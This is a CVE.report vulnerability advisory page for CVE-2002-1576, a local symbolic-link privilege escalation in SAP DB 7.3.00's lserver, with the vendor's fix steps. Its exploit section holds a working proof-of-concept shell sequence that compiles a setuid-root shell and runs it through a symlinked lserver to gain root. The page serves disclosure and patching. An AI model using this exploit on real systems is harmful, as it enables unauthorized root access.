SAP DB Symbolic Link Vulnerability

BID:6316

Info

SAP DB Symbolic Link Vulnerability

Bugtraq ID: 6316
Class: Origin Validation Error
CVE: CVE-2002-1576
Remote: No
Local: Yes
Published: Dec 04 2002 12:00AM
Updated: Jul 11 2009 07:16PM
Credit: This vulnerability first detailed in a SAP Security Advisory.
Vulnerable: SAP DB 7.3 .00
Not Vulnerable:

Discussion

SAP DB Symbolic Link Vulnerability

A vulnerability has been discovered in SAP DB that may allow an unprivileged to execute commands with root privileges. The vulnerability is due to insufficient sanity checks by lserver, when attempting to execute the 'lserversrv' binary in the current directory.

An attacker can exploit this vulnerability by creating a symbolic link to the 'lserver' binary in a directory containing a maliciously created 'lserversrv' binary. Executing lserver via the symbolic link will cause the malicious 'lserversrv' progam in the current directory to be executed.

Exploit / POC

SAP DB Symbolic Link Vulnerability

The following proof of concept was provided by KF

cd /tmp
mkdir "snosoft+sapdb=root"
cd "snosoft+sapdb=root"
ln -s /usr/sapdb/depend/pgm/lserver lserver
echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" > root.c
cc -o root root.c
cp root lserversrv
./lserver

Solution / Fix

SAP DB Symbolic Link Vulnerability

Solution:
The vendor has stated the following:

Perform the following steps for each <dependent_path>

$ cd <dependent_path>/pgm
$ cp lserversrv lserver
$ chown root lserver
$ chmod +s lserver

References

SAP DB Symbolic Link Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report